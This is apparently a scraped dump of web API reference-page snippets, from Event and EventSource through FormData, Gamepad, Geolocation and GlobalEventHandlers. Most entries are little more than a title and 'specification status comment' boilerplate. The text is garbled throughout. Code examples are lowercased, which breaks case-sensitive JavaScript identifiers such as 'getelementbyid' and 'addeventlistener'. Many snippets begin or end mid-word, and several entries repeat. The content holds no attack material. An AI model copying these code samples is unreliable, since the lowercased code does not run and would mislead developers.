example elem.onclick = function(event) { // do cool things here event.cancelbubble = true; } specifications specification status comment domthe definition of 'cancelbubble' in that specification.
Event.cancelable - Web APIs
WebAPIEventcancelable
specifications specification status comment domthe definition of 'event.cancelable' in that specification.
Event.composed - Web APIs
WebAPIEventcomposed
specifications specification status comment domthe definition of 'composed' in that specification.
Event.composedPath() - Web APIs
specifications specification status comment domthe definition of 'composedpath()' in that specification.
Event.currentTarget - Web APIs
specifications specification status comment domthe definition of 'event.currenttarget' in that specification.
Event.defaultPrevented - Web APIs
if (event.defaultprevented) { log.innertext = 'sorry, but you cannot visit this link!\n' + log.innertext; } else { log.innertext = 'visiting link...\n' + log.innertext; } } } const a = document.getelementbyid('link2'); a.addeventlistener('click', stoplink); document.addeventlistener('click', logclick); result specifications specification status comment domthe definition of 'event.defaultprevented()' in that specification.
Event.eventPhase - Web APIs
WebAPIEventeventPhase
"#f6eedb" : "#cceeff" } } divinfo.innerhtml = '' } result specifications specification status comment domthe definition of 'event.eventphase' in that specification.
Event.initEvent() - Web APIs
WebAPIEventinitEvent
elem.addeventlistener('click', function (e) { // e.target matches elem }, false); elem.dispatchevent(event); specifications specification status comment domthe definition of 'event.initevent()' in that specification.
Event.isTrusted - Web APIs
WebAPIEventisTrusted
syntax var eventistrusted = event.istrusted; value boolean example if (e.istrusted) { /* the event is trusted */ } else { /* the event is not trusted */ } specification specification status comment domthe definition of 'event.istrusted' in that specification.
Event.srcElement - Web APIs
WebAPIEventsrcElement
specifications specification status comment domthe definition of 'event.srcelement' in that specification.
Event.stopPropagation() - Web APIs
specifications specification status comment domthe definition of 'event.stoppropagation()' in that specification.
Event.target - Web APIs
WebAPIEventtarget
ild(li2); function hide(evt) { // e.target refers to the clicked <li> element // this is different than e.currenttarget, which would refer to the parent <ul> in this context evt.target.style.visibility = 'hidden'; } // attach the listener to the list // it will fire when each <li> is clicked ul.addeventlistener('click', hide, false); specifications specification status comment domthe definition of 'event.target' in that specification.
Event.timeStamp - Web APIs
WebAPIEventtimeStamp
specifications specification status comment domthe definition of 'event.timestamp' in that specification.
EventListener.handleEvent() - Web APIs
specifications specification status comment domthe definition of 'eventlistener.handleevent()' in that specification.
EventListener - Web APIs
buttonelement.addeventlistener('click', { handleevent: function (event) { alert('element clicked through handleevent property!'); } }); result see also: addeventlistener specifications specification status comment domthe definition of 'eventlistener' in that specification.
EventSource() - Web APIs
specifications specification status comment html living standardthe definition of 'eventsource()' in that specification.
EventSource.close() - Web APIs
WebAPIEventSourceclose
specifications specification status comment html living standardthe definition of 'close()' in that specification.
EventSource.onerror - Web APIs
specifications specification status comment html living standardthe definition of 'onerror' in that specification.
EventSource.onmessage - Web APIs
specifications specification status comment html living standardthe definition of 'onmessage' in that specification.
EventSource.onopen - Web APIs
specifications specification status comment html living standardthe definition of 'onopen' in that specification.
EventSource.readyState - Web APIs
specifications specification status comment html living standardthe definition of 'readystate' in that specification.
EventSource.url - Web APIs
WebAPIEventSourceurl
specifications specification status comment html living standardthe definition of 'url' in that specification.
EventSource.withCredentials - Web APIs
specifications specification status comment html living standardthe definition of 'withcredentials' in that specification.
EventTarget() - Web APIs
get secret() { return this._secret; } }; let myeventtarget = new myeventtarget(5); let value = myeventtarget.secret; // == 5 myeventtarget.addeventlistener("foo", function(e) { this._secret = e.detail; }); let event = new customevent("foo", { detail: 7 }); myeventtarget.dispatchevent(event); let newvalue = myeventtarget.secret; // == 7 specifications specification status comment domthe definition of 'eventtarget() constructor' in that specification.
EventTarget.dispatchEvent() - Web APIs
specifications specification status comment domthe definition of 'eventtarget.dispatchevent()' in that specification.
EventTarget.removeEventListener() - Web APIs
or = 'white'; } else { body.style.backgroundcolor = 'yellow'; } toggle = !toggle; } clicktarget.addeventlistener('click', makebackgroundyellow, false ); mouseovertarget.addeventlistener('mouseover', function () { clicktarget.removeeventlistener('click', makebackgroundyellow, false ); }); specifications specification status comment domthe definition of 'eventtarget.removeeventlistener()' in that specification.
ExtendableEvent() - Web APIs
specifications specification status comment service workersthe definition of 'extendableevent' in that specification.
ExtendableEvent.waitUntil() - Web APIs
example using waituntil() within a service worker's install event: addeventlistener('install', event => { const precache = async () => { const cache = await caches.open('static-v1'); return cache.addall([ '/', '/about/', '/static/styles.css' ]); }; event.waituntil(precache()); }); specifications specification status comment service workersthe definition of 'waituntil()' in that specification.
ExtendableEvent - Web APIs
specifications specification status comment service workersthe definition of 'extendableevent' in that specification.
ExtendableMessageEvent() - Web APIs
examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myeme = new extendablemessageevent('message', init); specifications specification status comment service workersthe definition of 'extendablemessageevent()' in that specification.
ExtendableMessageEvent.data - Web APIs
self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.data); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.data' in that specification.
ExtendableMessageEvent.lastEventId - Web APIs
deventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.lasteventid); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.lasteventid' in that specification.
ExtendableMessageEvent.origin - Web APIs
lf.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.origin); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.origin' in that specification.
ExtendableMessageEvent.ports - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.ports' in that specification.
ExtendableMessageEvent.source - Web APIs
lf.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.source); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.source' in that specification.
ExtendableMessageEvent - Web APIs
ve.postmessage("hi service worker"); }); } the service worker can receive the message by listening to the message event: // in the service worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.source.postmessage("hi client"); }); specifications specification status comment service workersthe definition of 'extendablemessageevent' in that specification.
FeaturePolicy.allowedFeatures() - Web APIs
// first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowed = featurepolicy.allowedfeatures() for (const directive of allowed){ console.log(directive) } specifications specification status comment feature policythe definition of 'allowsfeature' in that specification.
FeaturePolicy.allowsFeature() - Web APIs
// first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowed = featurepolicy.allowsfeature("camera") if (allowed){ console.log("fp allows camera.") } else { console.log("fp does not allows camera.") } specifications specification status comment feature policythe definition of 'allowsfeature' in that specification.
FeaturePolicy.features() - Web APIs
// get the feature policy object const featurepolicy = document.featurepolicy // retreive the list of all supported feature policy directives const supporteddirectives = featurepolicy.features() // print out each directive into the console for (const directive of supporteddirectives){ console.log(directive) } specification specification status comment feature policythe definition of 'features' in that specification.
FeaturePolicy.getAllowlistForFeature() - Web APIs
// first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowlist = featurepolicy.getallowlistforfeature("camera") for (const origin of allowlist){ console.log(origin) } specification specification status comment feature policythe definition of 'getallowlistforfeature' in that specification.
FeaturePolicy - Web APIs
specification specification status comment feature policy editor's draft initial definition.
FederatedCredential - Web APIs
specifications specification status comment credential management level 1 working draft initial definition.
FederatedCredential.protocol - Web APIs
examples // tbd specifications specification status comments credential management level 1the definition of 'protocol' in that specification.
FederatedCredential.provider - Web APIs
example // tbd specifications specification status comments credential management level 1 working draft initial definition.
FederatedCredential - Web APIs
}); specifications specification status comment credential management level 1 working draft initial definition.
FetchEvent() - Web APIs
specifications specification status comment service workersthe definition of 'fetchevent() constructor' in that specification.
FetchEvent.preloadResponse - Web APIs
return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'preloadresponse' in that specification.
FetchEvent.clientId - Web APIs
example self.addeventlistener('fetch', function(event) { console.log(event.clientid); ​}); specifications specification status comment service workersthe definition of 'clientid' in that specification.
FetchEvent.navigationPreload - Web APIs
return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreload' in that specification.
FetchEvent.request - Web APIs
about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }).catch(function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'request' in that specification.
FetchEvent.respondWith() - Web APIs
specifications specification status comment service workersthe definition of 'respondwith()' in that specification.
FetchEvent.resultingClientId - Web APIs
example self.addeventlistener('fetch', function(event) { console.log(event.resultingclientid); }); specifications specification status comment service workersthe definition of 'resultingclientid' in that specification.
FetchEvent - Web APIs
return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'fetchevent()' in that specification.
File.File() - Web APIs
WebAPIFileFile
example var file = new file(["foo"], "foo.txt", { type: "text/plain", }); specifications specification status comment file api working draft initial definition ...
Using files from web applications - Web APIs
here is how to preview uploaded video: const video = document.getelementbyid('video'); const obj_url = url.createobjecturl(blob); video.src = obj_url; video.play(); url.revokeobjecturl(obj_url); specifications specification status comment html living standardthe definition of 'file upload state' in that specification.
File.getAsBinary() - Web APIs
WebAPIFilegetAsBinary
summary the getasbinary method allows to access the file's data in raw binary format.
File.getAsDataURL() - Web APIs
WebAPIFilegetAsDataURL
summary the getasdataurl provides a data: url that encodes the entire contents of the referenced file.
File.getAsText() - Web APIs
WebAPIFilegetAsText
summary the getastext method provides the file's data interpreted as text using a given encoding.
File.lastModified - Web APIs
WebAPIFilelastModified
specifications specification status comment file apithe definition of 'lastmodified' in that specification.
File.name - Web APIs
WebAPIFilename
example <input type="file" multiple onchange="processselectedfiles(this)"> function processselectedfiles(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { alert("filename " + files[i].name); } } try the results out below: specifications specification status comment file apithe definition of 'name' in that specification.
File.size - Web APIs
WebAPIFilesize
summary returns the size of a file in bytes.
File.webkitRelativePath - Web APIs
mentbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitrelativepath' in that specification.
File - Web APIs
WebAPIFile
specifications specification status comment file apithe definition of 'the file interface' in that specification.
FileList - Web APIs
WebAPIFileList
s; // cache files.length var fl = files.length; var i = 0; while ( i < fl) { // localize file var in the loop var file = files[i]; alert(file.name); i++; } } // set the input element onchange to call pullfiles document.queryselector("#myfiles").onchange=pullfiles; //a.t </script> </html> specifications specification status comment file apithe definition of 'filelist' in that specification.
FileReader() - Web APIs
example the following code snippet shows creation of a filereader object using the filereader() constructor and subsequent usage of the object: function printfile(file) { var reader = new filereader(); reader.onload = function(evt) { console.log(evt.target.result); }; reader.readastext(file); } specifications specification status comment file api working draft initial definition ...
FileReader.abort() - Web APIs
WebAPIFileReaderabort
specifications specification status comment file apithe definition of 'abort()' in that specification.
FileReader.error - Web APIs
WebAPIFileReadererror
specifications specification status comment file apithe definition of 'filereader: error' in that specification.
FileReader.readAsArrayBuffer() - Web APIs
specifications specification status comment file apithe definition of 'filereader.readasarraybuffer' in that specification.
FileReader.readAsDataURL() - Web APIs
specifications specification status comment file apithe definition of 'readasdataurl()' in that specification.
FileReader.readAsText() - Web APIs
specifications specification status comment file apithe definition of 'readastext()' in that specification.
FileReader.readyState - Web APIs
specifications specification status comment file apithe definition of 'readystate' in that specification.
FileReader.result - Web APIs
WebAPIFileReaderresult
var fileinput = document.queryselector('input[type="file"]'); function read(callback) { var file = fileinput.files.item(0); var reader = new filereader(); reader.onload = function() { callback(reader.result); } reader.readastext(file); } specifications specification status comment file apithe definition of 'result' in that specification.
FileReader - Web APIs
specifications specification status comment file apithe definition of 'filereader' in that specification.
FileReaderSync.readAsArrayBuffer() - Web APIs
specifications specification status comment file apithe definition of 'readasarraybuffersync' in that specification.
FileReaderSync.readAsBinaryString() - Web APIs
specifications specification status comment file apithe definition of 'readasbinarystringsync' in that specification.
FileReaderSync.readAsDataURL() - Web APIs
specifications specification status comment file apithe definition of 'readasdataurl' in that specification.
FileReaderSync.readAsText() - Web APIs
specifications specification status comment file apithe definition of 'readastext' in that specification.
FileReaderSync - Web APIs
specifications specification status comment file apithe definition of 'filereadersync' in that specification.
FileRequest.onprogress - Web APIs
summary this property specifies a callback function to be run repeatedly while the operation represented by a filerequest object is in progress.
FileSystem.name - Web APIs
WebAPIFileSystemname
example // tbd specifications specification status comment file and directory entries apithe definition of 'name' in that specification.
FileSystem.root - Web APIs
WebAPIFileSystemroot
example // tbd specifications specification status comment file and directory entries apithe definition of 'root' in that specification.
FileSystem - Web APIs
specifications specification status comment file and directory entries apithe definition of 'filesystem' in that specification.
FileSystemDirectoryEntry.createReader() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'createreader()' in that specification.
FileSystemDirectoryEntry.getDirectory() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'getdirectory()' in that specification.
FileSystemDirectoryEntry.getFile() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'getfile()' in that specification.
FileSystemDirectoryReader.readEntries() - Web APIs
specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification.
FileSystemDirectoryReader - Web APIs
specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification.
FileSystemEntry.filesystem - Web APIs
let rootdirentry = fileentry.filesystem.root; specifications specification status comment file and directory entries apithe definition of 'filesystem' in that specification.
FileSystemEntry.fullPath - Web APIs
specifications specification status comment file and directory entries apithe definition of 'fullpath' in that specification.
FileSystemEntry.getParent() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'getparent()' in that specification.
FileSystemEntry.isDirectory - Web APIs
if (entry.isdirectory) { processsubdirectory(entry); } else if (entry.isfile) { processfile(entry); } else { displayerrormessage("unsupported file system entry specified."); } specifications specification status comment file and directory entries apithe definition of 'isdirectory' in that specification.
FileSystemEntry.isFile - Web APIs
if (entry.isdirectory) { processsubdirectory(entry); } else if (entry.isfile) { processfile(entry); } else { displayerrormessage("unsupported file system entry specified."); } specifications specification status comment file and directory entries apithe definition of 'isfile' in that specification.
FileSystemEntry.name - Web APIs
function isfilewithextension(entry, extension) { return (entry.isfile && entry.name.endswith("." + extension)); } specifications specification status comment file and directory entries apithe definition of 'name' in that specification.
FileSystemEntry - Web APIs
specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification.
FileSystemFileEntry.file() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'file()' in that specification.
FileSystemFlags.create - Web APIs
specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification.
FileSystemFlags.exclusive - Web APIs
specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification.
FileSystemFlags - Web APIs
specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification.
FileHandle API - Web APIs
specification status comment filesystem api editor's draft draft proposal ...
File and Directory Entries API support in Firefox - Web APIs
in broad strokes, those limitations can be summarized as follows: content scripts can't create file systems or initiate access to a file system.
File and Directory Entries API - Web APIs
metadata specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification.
FocusEvent() - Web APIs
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'focusevent()' in that specification.
FocusEvent - Web APIs
specifications specification status comment ui eventsthe definition of 'focusevent' in that specification.
FontFace.FontFace() - Web APIs
WebAPIFontFaceFontFace
nt featuresettings: feature settings example async function loadfonts() { const font = new fontface('myfont', 'url(myfont.woff)'); // wait for font to be loaded await font.load(); // add font to document document.fonts.add(font); // enable font with css class document.body.classlist.add('fonts-loaded'); } specifications specification status comment css font loading module level 3the definition of 'fontface constructor' in that specification.
FontFace.family - Web APIs
WebAPIFontFacefamily
example var fontface = new fontface('roboto', 'url(https://fonts.example.com/roboto.woff2)'); console.log(fontface.family); // 'roboto' fontface.family = 'newroboto'; console.log(fontface.family); // 'newroboto' specifications specification status comment css font loading module level 3the definition of 'family' in that specification.
FontFace.featureSettings - Web APIs
specifications specification status comment css font loading module level 3the definition of 'featuresettings' in that specification.
FontFace.load - Web APIs
WebAPIFontFaceload
specifications specification status comment css font loading module level 3the definition of 'load' in that specification.
FontFace.loaded - Web APIs
WebAPIFontFaceloaded
specifications specification status comment css font loading module level 3the definition of 'loaded' in that specification.
FontFace.status - Web APIs
WebAPIFontFacestatus
specifications specification status comment css font loading module level 3the definition of 'status' in that specification.
FontFace.stretch - Web APIs
WebAPIFontFacestretch
specifications specification status comment css font loading module level 3the definition of 'stretch' in that specification.
FontFace.style - Web APIs
WebAPIFontFacestyle
specifications specification status comment css font loading module level 3the definition of 'style' in that specification.
FontFace.unicodeRange - Web APIs
specifications specification status comment css font loading module level 3the definition of 'unicoderange' in that specification.
FontFace.variant - Web APIs
WebAPIFontFacevariant
specifications specification status comment css font loading module level 3the definition of 'variant' in that specification.
FontFace.weight - Web APIs
WebAPIFontFaceweight
specifications specification status comment css font loading module level 3the definition of 'weight' in that specification.
FontFace - Web APIs
WebAPIFontFace
specifications specification status comment css font loading module level 3the definition of 'fontface' in that specification.
FontFaceSet.check() - Web APIs
WebAPIFontFaceSetcheck
specifications specification status comment css font loading module level 3the definition of 'check' in that specification.
FontFaceSet.load() - Web APIs
WebAPIFontFaceSetload
document.fonts.load("12px myfont", "ß").then(…); specifications specification status comment css font loading module level 3the definition of 'load' in that specification.
FontFaceSet.ready - Web APIs
WebAPIFontFaceSetready
specifications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification.
FontFaceSet - Web APIs
specifications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification.
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent()' in that specification.
FontFaceSetLoadEvent.fontfaces - Web APIs
specifications specification status comment css font loading module level 3the definition of 'fontfaces' in that specification.
FontFaceSetLoadEvent - Web APIs
specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent' in that specification.
FormData() - Web APIs
WebAPIFormDataFormData
let myform = document.getelementbyid('myform'); let formdata = new formdata(myform); specifications specification status comment xmlhttprequestthe definition of 'formdata()' in that specification.
FormData.append() - Web APIs
WebAPIFormDataappend
if the sent value is different than string or blob it will be automatically converted to string: formdata.append('name', true); formdata.append('name', 74); formdata.append('name', 'john'); formdata.getall('name'); // ["true", "74", "john"] specifications specification status comment xmlhttprequestthe definition of 'append()' in that specification.
FormData.delete() - Web APIs
WebAPIFormDatadelete
example the following line creates an empty formdata object and prepopulates it with key/value pairs from a form: var formdata = new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification.
FormData.entries() - Web APIs
WebAPIFormDataentries
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the key/value pairs for(var pair of formdata.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment xmlhttprequestthe definition of 'entries() (as iterator<>)' in that specification.
FormData.get() - Web APIs
WebAPIFormDataget
e the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following get() function will only return the first username value appended: formdata.get('username'); // returns "chris" specifications specification status comment xmlhttprequestthe definition of 'get()' in that specification.
FormData.getAll() - Web APIs
WebAPIFormDatagetAll
llowing line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following getall() function will return both username values in an array: formdata.getall('username'); // returns ["chris", "bob"] specifications specification status comment xmlhttprequestthe definition of 'getall()' in that specification.
FormData.has() - Web APIs
WebAPIFormDatahas
object: var formdata = new formdata(); the following snippet shows the results of testing for the existence of username in the formdata object, before and after appending a username value to it with formdata.append: formdata.has('username'); // returns false formdata.append('username', 'chris'); formdata.has('username'); // returns true specifications specification status comment xmlhttprequestthe definition of 'has()' in that specification.
FormData.keys() - Web APIs
WebAPIFormDatakeys
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the keys for (var key of formdata.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment xmlhttprequestthe definition of 'keys() (as iterator<>)' in that specification.
FormData.set() - Web APIs
WebAPIFormDataset
= new formdata(); // currently empty you can set key/value pairs on this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name', 72); formdata.get('name'); // "72" specifications specification status comment xmlhttprequestthe definition of 'set()' in that specification.
FormData.values() - Web APIs
WebAPIFormDatavalues
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the values for (var value of formdata.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment xmlhttprequestthe definition of 'values() (as iterator<>)' in that specification.
FormData - Web APIs
WebAPIFormData
specifications specification status comment xmlhttprequestthe definition of 'formdata' in that specification.
FormDataEvent() - Web APIs
examples let fd = new formdata(); fd.append('test', 'test'); let fdev = new formdataevent('formdata', { formdata: fd }); for (let value of fdev.formdata.values()) { console.log(value); } specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
FormDataEvent.formData - Web APIs
lem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdata' in that specification.
FormDataEvent - Web APIs
lem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
Using the Frame Timing API - Web APIs
a frame rate of 60 fps (frames per second) for a 60 hz refresh rate is a common target for a good responsive user experience.
Frame Timing API - Web APIs
a frame rate of 60 fps (frames per second) for a 60 hz refresh rate is a common target for a good responsive user experience.
FullscreenOptions.navigationUI - Web APIs
specifications specification status comment fullscreen apithe definition of 'fullscreenoptions' in that specification.
Fullscreen API - Web APIs
usage notes users can choose to exit full-screen mode simply by pressing the esc (or f11) key, rather than waiting for the site or app to programmatically do so.
GainNode() - Web APIs
WebAPIGainNodeGainNode
specifications specification status comment web audio apithe definition of 'gainnode()' in that specification.
GainNode.gain - Web APIs
WebAPIGainNodegain
gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'gain' in that specification.
GainNode - Web APIs
WebAPIGainNode
gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'gainnode' in that specification.
Gamepad.axes - Web APIs
WebAPIGamepadaxes
specifications specification status comment gamepadthe definition of 'gamepad.axes' in that specification.
Gamepad.buttons - Web APIs
WebAPIGamepadbuttons
specifications specification status comment gamepadthe definition of 'gamepad.buttons' in that specification.
Gamepad.connected - Web APIs
WebAPIGamepadconnected
specifications specification status comment gamepadthe definition of 'gamepad.connected' in that specification.
Gamepad.hand - Web APIs
WebAPIGamepadhand
examples tbc specifications specification status comment gamepad extensionsthe definition of 'hand' in that specification.
Gamepad.hapticActuators - Web APIs
examples tbc specifications specification status comment gamepad extensionsthe definition of 'hapticactuators' in that specification.
Gamepad.id - Web APIs
WebAPIGamepadid
specifications specification status comment gamepadthe definition of 'gamepad.id' in that specification.
Gamepad.index - Web APIs
WebAPIGamepadindex
specifications specification status comment gamepadthe definition of 'gamepad.index' in that specification.
Gamepad.mapping - Web APIs
WebAPIGamepadmapping
specifications specification status comment gamepadthe definition of 'gamepad.mapping' in that specification.
Gamepad.timestamp - Web APIs
WebAPIGamepadtimestamp
specifications specification status comment gamepadthe definition of 'gamepad.timestamp' in that specification.
Gamepad - Web APIs
WebAPIGamepad
%d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); }); specifications specification status comment gamepadthe definition of 'gamepad' in that specification.
GamepadButton.pressed - Web APIs
specifications specification status comment gamepadthe definition of 'gamepadbutton.pressed' in that specification.
GamepadButton.value - Web APIs
specifications specification status comment gamepadthe definition of 'gamepadbutton.value' in that specification.
GamepadButton - Web APIs
buttons[1].value > 0 || gp.buttons[1].pressed == true) { a++; } else if(gp.buttons[2].value > 0 || gp.buttons[2].pressed == true) { b++; } else if(gp.buttons[3].value > 0 || gp.buttons[3].pressed == true) { a--; } } ball.style.left = a*2 + "px"; ball.style.top = b*2 + "px"; var start = raf(gameloop); }; specifications specification status comment gamepadthe definition of 'gamepadbutton' in that specification.
GamepadEvent() - Web APIs
specifications specification status comment gamepadthe definition of 'gamepadevent_' in that specification.
GamepadEvent.gamepad - Web APIs
specifications specification status comment gamepadthe definition of 'gamepadevent.gamepad' in that specification.
GamepadEvent - Web APIs
window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); specifications specification status comment gamepadthe definition of 'gamepadevent' in that specification.
GamepadHapticActuator.pulse() - Web APIs
examples tbc specifications specification status comment gamepad extensionsthe definition of 'pulse()' in that specification.
GamepadHapticActuator.type - Web APIs
examples tbc specifications specification status comment gamepad extensionsthe definition of 'gamepadhapticactuatortype' in that specification.
Using the Gamepad API - Web APIs
f (gamepads[i].index in controllers) { controllers[gamepads[i].index] = gamepads[i]; } else { addgamepad(gamepads[i]); } } } } window.addeventlistener("gamepadconnected", connecthandler); window.addeventlistener("gamepaddisconnected", disconnecthandler); if (!haveevents) { setinterval(scangamepads, 500); } specifications specification status comment gamepadthe definition of 'gamepad' in that specification.
Geolocation.clearWatch() - Web APIs
ach the target'); navigator.geolocation.clearwatch(id); } }; function error(err) { console.warn('error(' + err.code + '): ' + err.message); }; target = { latitude : 0, longitude: 0, } options = { enablehighaccuracy: false, timeout: 5000, maximumage: 0 }; id = navigator.geolocation.watchposition(success, error, options); specifications specification status comment geolocation api recommendation initial specification.
Geolocation.getCurrentPosition() - Web APIs
ds; console.log('your current position is:'); console.log(`latitude : ${crd.latitude}`); console.log(`longitude: ${crd.longitude}`); console.log(`more or less ${crd.accuracy} meters.`); } function error(err) { console.warn(`error(${err.code}): ${err.message}`); } navigator.geolocation.getcurrentposition(success, error, options); specifications specification status comment geolocation api recommendation initial specification.
Using the Geolocation API - Web APIs
the geolocationcoordinates instance contains a number of properties, but the two you'll use most commonly are latitude and longitude, which are what you need to draw your position on a map.
Geolocation API - Web APIs
le to retrieve your location'; } if(!navigator.geolocation) { status.textcontent = 'geolocation is not supported by your browser'; } else { status.textcontent = 'locating…'; navigator.geolocation.getcurrentposition(success, error); } } document.queryselector('#find-me').addeventlistener('click', geofindme); result specifications specification status comment geolocation api recommendation ...
GeometryUtils - Web APIs
geometryutils.convertquadfromnode() fixme: needs a description geometryutils.convertrectfromnode() fixme: needs a description geometryutils.convertpointfromnode() fixme: needs a description specifications specification status comment css object model (cssom) view modulethe definition of 'geometryutils' in that specification.
GlobalEventHandlers.onloadstart - Web APIs
specification specification status comment html living standardthe definition of 'loadstart' in that specification.
GlobalEventHandlers.onabort - Web APIs
example window.onabort = function() { alert('load aborted.'); } specification specification status comment html living standardthe definition of 'onabort' in that specification.
GlobalEventHandlers.onanimationcancel - Web APIs
specification specification status comment css animationsthe definition of 'onanimationcancel' in that specification.
GlobalEventHandlers.onanimationend - Web APIs
result assembled together, you get this: specification specification status comment css animationsthe definition of 'onanimationend' in that specification.
GlobalEventHandlers.onanimationiteration - Web APIs
specification specification status comment css animationsthe definition of 'onanimationiteration' in that specification.
GlobalEventHandlers.onanimationstart - Web APIs
result assembled together, you get this: specification specification status comment css animationsthe definition of 'onanimationstart' in that specification.
GlobalEventHandlers.onauxclick - Web APIs
specifications specification status comment ui eventsthe definition of 'onauxclick' in that specification.
GlobalEventHandlers.onblur - Web APIs
specifications specification status comment html living standardthe definition of 'onblur' in that specification.
GlobalEventHandlers.oncancel - Web APIs
specifications specification status comment html living standardthe definition of 'oncancel' in that specification.
GlobalEventHandlers.oncanplay - Web APIs
specification specification status comment html living standardthe definition of 'oncanplay' in that specification.
GlobalEventHandlers.oncanplaythrough - Web APIs
specification specification status comment html living standardthe definition of 'oncanplaythrough' in that specification.
GlobalEventHandlers.onclick - Web APIs
